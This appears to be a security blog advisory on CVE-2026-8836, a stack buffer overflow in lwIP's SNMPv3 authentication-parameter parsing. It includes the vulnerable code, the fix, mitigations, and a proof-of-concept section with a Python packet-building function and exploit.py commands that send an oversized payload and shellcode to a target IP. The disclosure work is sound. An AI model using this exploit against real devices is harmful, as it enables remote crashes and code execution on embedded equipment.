HB Updated Jun 13, 2026

lwIP SNMPv3 Stack Overflow: CVE-2026-8836 — Critical Unauthenticated RCE in a Billion Embedded Devices

lwIP SNMPv3 Stack Overflow: CVE-2026-8836 — One Packet to Own a Billion Embedded Devices

A commented-out bounds check in the world’s most widely deployed embedded TCP/IP stack lets any unauthenticated attacker on the network overflow a 12-byte stack buffer with a single malformed SNMPv3 packet. No credentials, no user interaction, no prerequisites beyond network reachability. CVSS 9.8.


Overview

On May 18, 2026, a vulnerability was published for lwIP (lightweight IP) — the open-source TCP/IP stack that powers everything from ESP32 microcontrollers to industrial PLCs. CVE-2026-8836 is a stack-based buffer overflow in the SNMPv3 User-based Security Model (USM) handler, specifically in the function snmp_parse_inbound_frame() within src/apps/snmp/snmp_msg.c.

The bug is almost painfully simple: a bounds-check assertion was commented out, and the buffer-size parameter passed to the copy function used the attacker-controlled length instead of the actual buffer size. The result is that an attacker can write an arbitrary amount of data past a 12-byte buffer allocated on the stack.

lwIP is not a niche library. It is the default TCP/IP stack in Espressif’s ESP-IDF (ESP32), STMicroelectronics’ STM32Cube, and numerous RTOS platforms including FreeRTOS and Zephyr ports. It runs in smart home devices, industrial sensors, network switches, medical equipment, automotive gateways, and anything else that speaks TCP/IP on a microcontroller with as little as 40 KB of ROM and tens of KB of RAM.

The CVSS 3.1 score of 9.8 (Critical) reflects the reality: network-accessible, low complexity, no authentication, no user interaction, complete confidentiality/integrity/availability impact.

Vulnerability Classification

Field Value
CVE ID CVE-2026-8836
CVSS v3.1 9.8 CRITICAL
CVSS v4.0 9.3 CRITICAL
CVSS Vector (v3.1) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-121 — Stack-based Buffer Overflow; CWE-119 — Improper Restriction of Operations within the Bounds of a Memory Buffer
Affected Component SNMPv3 USM handler, snmp_parse_inbound_frame()
Affected File src/apps/snmp/snmp_msg.c
Attack Vector Network (Remote — via SNMPv3 UDP packet)
Authentication None required
User Interaction None required
Attack Complexity Low
Impact Remote code execution, denial of service
Vulnerable Versions lwIP ≤ 2.2.1 (all versions with SNMPv3 enabled)
Fix Commit 0c957ec03054eb6c8205e9c9d1d05d90ada3898c
Discoverer 0rbitingZer0
Published Date 2026-05-18

What Is lwIP?

lwIP (lightweight IP) is a small, independent implementation of the TCP/IP protocol suite, originally developed by Adam Dunkels at the Swedish Institute of Computer Science (SICS). Its design goal is simple: provide a full-scale TCP/IP stack that fits on microcontrollers with as little as tens of kilobytes of free RAM.

That constraint — minimal RAM usage — makes lwIP the TCP/IP stack of choice for the embedded world. Where Linux runs glibc and has gigabytes of memory, lwIP targets devices where every byte counts.

Where lwIP Lives

lwIP is not something end users install. It is baked into firmware at the silicon-vendor or OEM level. If you have a smart thermostat, a Wi-Fi light bulb, a networked industrial sensor, or a home router running an RTOS, there is a good chance lwIP is handling its network traffic.

Platform Integration Typical Devices
ESP-IDF (Espressif) Default TCP/IP stack ESP32, ESP32-C3, ESP32-S2, ESP32-S3 — Wi-Fi/BLE SoCs
STM32Cube (STMicroelectronics) LwIP middleware STM32 MCUs with Ethernet/MAC
FreeRTOS+TCP Alternative stack but lwIP widely ported Various ARM Cortex-M devices
Zephyr RTOS Available as external module IoT-focused SoCs
OpenWrt Used in some router SDK components Routers, access points
RTEMS Available network stack Aerospace, industrial controllers

The Espressif ESP32 family alone has shipped in over a billion units. Not all of them have SNMPv3 enabled, of course — but the attack surface is enormous.


Technical Deep Dive

SNMPv3 and the USM

SNMP (Simple Network Management Protocol) is used to monitor and manage network devices. Version 3 (defined across RFCs 3411–3415) introduced the User-based Security Model (USM), specified in RFC 3414, for authentication and encryption.

A key field in the USM security parameters is msgAuthenticationParameters — an OCTET STRING that carries the HMAC digest for message authentication. In SNMPv3 with HMAC-MD5-96 or HMAC-SHA-96, this field is exactly 12 bytes (the HMAC truncated to 96 bits). This is where SNMP_V3_MAX_AUTH_PARAM_LENGTH = 12 comes from.

The vulnerable code parses an incoming SNMPv3 packet by reading each USM field from its ASN.1 TLV (Type-Length-Value) encoding. Here is the vulnerable code in lwIP 2.2.1:

/* src/apps/snmp/snmp_msg.c, snmp_parse_inbound_frame(), line 939-952 */

/* msgAuthenticationParameters */
memset(request->msg_authentication_parameters, 0, SNMP_V3_MAX_AUTH_PARAM_LENGTH);
IF_PARSE_EXEC(snmp_asn1_dec_tlv(&pbuf_stream, &tlv));
IF_PARSE_ASSERT(tlv.type == SNMP_ASN1_TYPE_OCTET_STRING);
inbound_msgAuthenticationParameters_offset = pbuf_stream.offset;
LWIP_UNUSED_ARG(inbound_msgAuthenticationParameters_offset);
/* Read auth parameters */
/* IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH); */
IF_PARSE_EXEC(snmp_asn1_dec_raw(&pbuf_stream, tlv.value_len, request->msg_authentication_parameters,
                                &u16_value, tlv.value_len));
request->msg_authentication_parameters_len = (u8_t)u16_value;

There are two bugs on lines 949-951:

  1. Line 949: The bounds check IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH) is commented out. This was likely commented out during development or testing and never re-enabled.

  2. Line 951: The call to snmp_asn1_dec_raw() passes tlv.value_len (the attacker-controlled TLV length) as the buffer maximum size parameter, instead of SNMP_V3_MAX_AUTH_PARAM_LENGTH (the actual buffer size).

Why the Internal Check Fails

snmp_asn1_dec_raw() does have its own bounds check:

/* src/apps/snmp/snmp_asn1.c */
err_t
snmp_asn1_dec_raw(struct snmp_pbuf_stream *pbuf_stream, u16_t len,
                  u8_t *buf, u16_t *buf_len, u16_t buf_max_len)
{
  if (len > buf_max_len) {
    /* not enough dst space */
    return ERR_MEM;
  }
  *buf_len = len;

  while (len > 0) {
    PBUF_OP_EXEC(snmp_pbuf_stream_read(pbuf_stream, buf));
    buf++;
    len--;
  }
  return ERR_OK;
}

The function checks len > buf_max_len. But the vulnerable code passes tlv.value_len as both len and buf_max_len. So the check becomes:

tlv.value_len > tlv.value_len  →  always false

The check never triggers. The function happily copies tlv.value_len bytes into the 12-byte buffer request->msg_authentication_parameters.

The Stack Layout

The snmp_request struct is allocated on the stack in snmp_receive():

/* snmp_msg.c, line 286-289 */
void
snmp_receive(void *handle, struct pbuf *p, const ip_addr_t *source_ip, u16_t port)
{
  err_t err;
  struct snmp_request request;

The struct layout around the overflow target:

struct snmp_request {
  ...
  u8_t msg_authentication_parameters[12];    ← overflow starts here
  u8_t msg_authentication_parameters_len;     ← overwritten first
  u8_t msg_privacy_parameters[8];             ← overwritten
  u8_t msg_privacy_parameters_len;            ← overwritten
  u8_t context_engine_id[32];                ← overwritten
  u8_t context_engine_id_len;                ← overwritten
  u8_t context_name[32];                     ← overwritten
  u8_t context_name_len;                     ← overwritten
  ...
  struct pbuf *inbound_pbuf;                 ← pointer (corruption = crash/code exec)
  struct snmp_varbind_enumerator inbound_varbind_enumerator;
  ...
  struct pbuf *outbound_pbuf;                ← pointer
  struct snmp_pbuf_stream outbound_pbuf_stream;
  ...
  u8_t value_buffer[SNMP_MAX_VALUE_SIZE];    ← large buffer at end
};

An attacker who can write past the 12-byte buffer overwrites subsequent struct members. Once the overflow reaches pointers like inbound_pbuf or outbound_pbuf, or the value_buffer at the end, the potential for code execution depends on the specific platform’s stack layout, compiler optimizations, and available mitigations (or lack thereof — many embedded platforms have no ASLR, no stack canaries, no NX).

The Fix

The patch (commit 0c957ec03054) is a two-line change:

-    /* IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH); */
+    IF_PARSE_ASSERT(tlv.value_len <= SNMP_V3_MAX_AUTH_PARAM_LENGTH);
     IF_PARSE_EXEC(snmp_asn1_dec_raw(&pbuf_stream, tlv.value_len, request->msg_authentication_parameters,
-                                    &u16_value, tlv.value_len));
+                                    &u16_value, SNMP_V3_MAX_AUTH_PARAM_LENGTH));

Two changes:
1. Uncommented the bounds check assertion — packets with msgAuthenticationParameters longer than 12 bytes are now rejected.
2. Changed the buf_max_len parameter from tlv.value_len to SNMP_V3_MAX_AUTH_PARAM_LENGTH — the internal bounds check in snmp_asn1_dec_raw() now works correctly.

SNMPv3 Message Structure

To understand the attack, here is the SNMPv3 message format with the vulnerable field highlighted:

SNMPv3 Message Structure

The attacker crafts a standard SNMPv3 message but sets the msgAuthenticationParameters TLV length to a value larger than 12 bytes — say, 256 bytes. The TLV parser reads the type (OCTET STRING) and length from the packet, then hands the length to snmp_asn1_dec_raw(), which copies 256 bytes into the 12-byte stack buffer.


Exploitation Considerations

Prerequisites

The vulnerability has exactly one prerequisite: the target device must have SNMPv3 support compiled in (LWIP_SNMP_V3 defined) and the SNMP agent must be running and reachable over UDP port 161.

This is not as narrow as it sounds. Many embedded devices expose SNMP for network management — industrial controllers, network switches, power distribution units, building automation controllers, and even some consumer IoT devices that support network monitoring.

Attack Flow

Attack Flow

The attack requires a single UDP packet. No TCP handshake, no session setup, no authentication handshake. Send the packet, the buffer overflows.

Why Embedded Is Different

Exploiting a stack buffer overflow on an ESP32 or STM32 is fundamentally different from exploiting one on a Linux server:

Factor Linux Server Embedded (ESP32/STM32)
ASLR Enabled by default Rare (Xtensa/ARM-M often lack MMU)
Stack Canaries Standard (-fstack-protector) Often disabled (RAM/code overhead)
NX/DEP Enforced by MMU Rare (no hardware support on many MCUs)
Memory Layout Dynamic, randomized Static, predictable from firmware
Process Isolation Kernel/userspace split Often monolithic (everything in one privilege level)
Exploit Reliability Variable (depends on mitigations) Near-deterministic on bare-metal

On a typical ESP32 running lwIP with SNMPv3, the firmware image is fixed, the memory map is deterministic, and there are no stack canaries or ASLR to defeat. If you can overflow a buffer and reach a function pointer or return address, exploitation is straightforward.

What an Attacker Controls

The snmp_asn1_dec_raw() function copies the TLV value byte-by-byte into the buffer using snmp_pbuf_stream_read(). The attacker fully controls:
- The length of the overflow (TLV value_len, up to 65535)
- The content of every byte written past the buffer boundary
- The target — the overflow writes sequentially through the remaining struct members

The combination of fully controlled content, predictable stack layout, and absent mitigations makes this a high-quality exploit primitive on embedded targets.


Affected Products

lwIP is a library, not a product. It is integrated into thousands of firmware images across dozens of silicon vendors and OEMs. Listing every affected device is impossible — but the categories are clear:

Directly Affected (lwIP ≤ 2.2.1 with SNMPv3 enabled):

  • Any ESP32 device running an ESP-IDF version that bundles lwIP ≤ 2.2.1 and has CONFIG_LWIP_SNMP_V3=y
  • STM32-based devices using STM32Cube’s LwIP middleware with SNMPv3
  • Industrial controllers and PLCs running RTOS + lwIP with SNMP management
  • Network equipment (switches, routers, access points) using lwIP with SNMPv3
  • Medical devices, building automation controllers, smart grid equipment using lwIP SNMP

Practical Impact Assessment:

While SNMPv3 is not enabled by default in all lwIP builds, it is commonly enabled in:
- Industrial and building automation (SNMP is the standard management protocol)
- Network infrastructure (SNMP is mandatory for managed switches and routers)
- Any device that ships with SNMP support for monitoring


Remediation

Patch

The fix is in lwIP commit 0c957ec03054eb6c8205e9c9d1d05d90ada3898c. If you maintain firmware that uses lwIP, cherry-pick this commit into your tree immediately.

$ git remote add lwip-upstream https://github.com/lwip-tcpip/lwip.git
$ git fetch lwip-upstream
$ git cherry-pick 0c957ec03054eb6c8205e9c9d1d05d90ada3898c

Mitigation (if Patching Is Not Immediately Possible)

  1. Disable SNMPv3 — Set LWIP_SNMP_V3 to 0 in lwipopts.h if SNMPv3 is not required. SNMPv1/v2c are not affected by this specific vulnerability.
  2. Network Segmentation — Ensure SNMP (UDP 161) is not exposed to untrusted networks. Use VLANs, firewalls, or access control lists to restrict SNMP access to management VLANs only.
  3. UDP Source Port Filtering — While UDP source addresses can be spoofed on local networks, restricting SNMP access to known management station IPs provides some defense in depth.
  4. Disable SNMP Entirely — If SNMP is not used for device management, set LWIP_SNMP to 0 to remove the entire attack surface.

For Device Vendors

If you ship products based on ESP-IDF, STM32Cube, or any SDK that bundles lwIP:
1. Check your lwIP version — if it’s ≤ 2.2.1, you are affected
2. Check if LWIP_SNMP_V3 is enabled in your build configuration
3. Apply the patch and issue a firmware update
4. Audit for other commented-out assertions in your lwIP tree


Proof of Concept

https://github.com/Hunt-Benito/lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce

The PoC constructs a malicious SNMPv3 packet with an oversized msgAuthenticationParameters TLV and sends it to a target running a vulnerable lwIP instance. It demonstrates the overflow by crashing a lwip-contrib UNIX simulator (which has stack protections that catch the overflow) and shows the memory corruption on an ESP32 target.

Key Code: Packet Construction

The core of the exploit is constructing an SNMPv3 USM security parameters sequence where the msgAuthenticationParameters OCTET STRING has an oversized length:

def build_malicious_snmpv3_packet(target_ip, target_port, overflow_size=256):
    """
    Construct an SNMPv3 packet with oversized msgAuthenticationParameters.

    The msgAuthenticationParameters field should be 12 bytes (SNMP_V3_MAX_AUTH_PARAM_LENGTH)
    for HMAC-MD5-96 or HMAC-SHA-96. We set the TLV length to overflow_size to trigger
    the stack-based buffer overflow.
    """
    encoder = ASN1Encoder()

    msg_authoritative_engine_id = b'\x00'
    msg_authoritative_engine_boots = 0
    msg_authoritative_engine_time = 0
    msg_user_name = b''

    auth_params_payload = b'\x41' * overflow_size

    usm_security_params = encoder.sequence([
        encoder.octet_string(msg_authoritative_engine_id),
        encoder.integer(msg_authoritative_engine_boots),
        encoder.integer(msg_authoritative_engine_time),
        encoder.octet_string(msg_user_name),
        encoder.octet_string(auth_params_payload),
        encoder.octet_string(b''),
    ])

    scoped_pdu = encoder.sequence([
        encoder.octet_string(b''),
        encoder.octet_string(b''),
        build_get_request(oid='1.3.6.1.2.1.1.1.0'),
    ])

    header_data = encoder.sequence([
        encoder.integer(1),
        encoder.integer(65507),
        encoder.octet_string(b'\x00'),
        encoder.integer(3),
    ])

    snmpv3_message = encoder.sequence([
        encoder.integer(3),
        header_data,
        encoder.octet_string(usm_security_params),
        scoped_pdu,
    ])

    return snmpv3_message

Usage

$ git clone https://github.com/Hunt-Benito/lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce
$ cd lwip-snmpv3-stack-overflow-cve-2026-8836-critical-embedded-rce
$ pip install -r requirements.txt

$ python exploit.py --target 192.168.1.100 --port 161 --overflow-size 256
[*] Building malicious SNMPv3 packet...
[*] msgAuthenticationParameters TLV length: 256 (buffer size: 12)
[*] Overflow: 244 bytes past buffer boundary
[*] Sending to 192.168.1.100:161...
[*] Packet sent. Target should crash or execute payload.

$ python exploit.py --target 192.168.1.100 --port 161 --overflow-size 4096 --payload-file shellcode.bin
[*] Building malicious SNMPv3 packet with custom payload...
[*] msgAuthenticationParameters TLV length: 4096 (buffer size: 12)
[*] Overflow: 4084 bytes past buffer boundary
[*] Payload: shellcode.bin (128 bytes)
[*] Sending to 192.168.1.100:161...

Attention! This PoC is for authorized security research only. Do not use against systems you do not own or have explicit permission to test. The SNMP protocol uses UDP — source addresses can be spoofed on local networks, and there is no handshake to confirm delivery.


The Bigger Picture: Commented-Out Checks

This vulnerability belongs to an embarrassing class of bugs: security checks that were disabled during development and never re-enabled. The assertion was clearly present in the code at some point — someone wrote it, understanding the risk — but it was commented out, likely during testing, and the comment character /* */ was the only thing standing between a billion devices and remote code execution.

This is not unique to lwIP. Commented-out checks, disabled assertions, and // TODO: re-enable comments are a recurring theme in vulnerability research:

  • Apple goto fail; goto fail; (CVE-2014-1266) — A duplicated goto fail statement caused SSL certificate verification to skip its signature check. The effect was similar to a commented-out check: a validation step that was bypassed.

  • OpenSSL Heartbleed (CVE-2014-0160) — A missing bounds check (not a commented-out one, but the same class of “validation that should have been there”) in the heartbeat extension allowed reading 64 KB of server memory per request.

  • Linux kernel eBPF — Multiple vulnerabilities where bounds checks were incorrectly optimized away by the verifier, functionally equivalent to commenting out the check.

The lesson is straightforward: every bounds check exists for a reason. If you find a commented-out assertion in security-critical code, that is a vulnerability, not a TODO.


SOURCES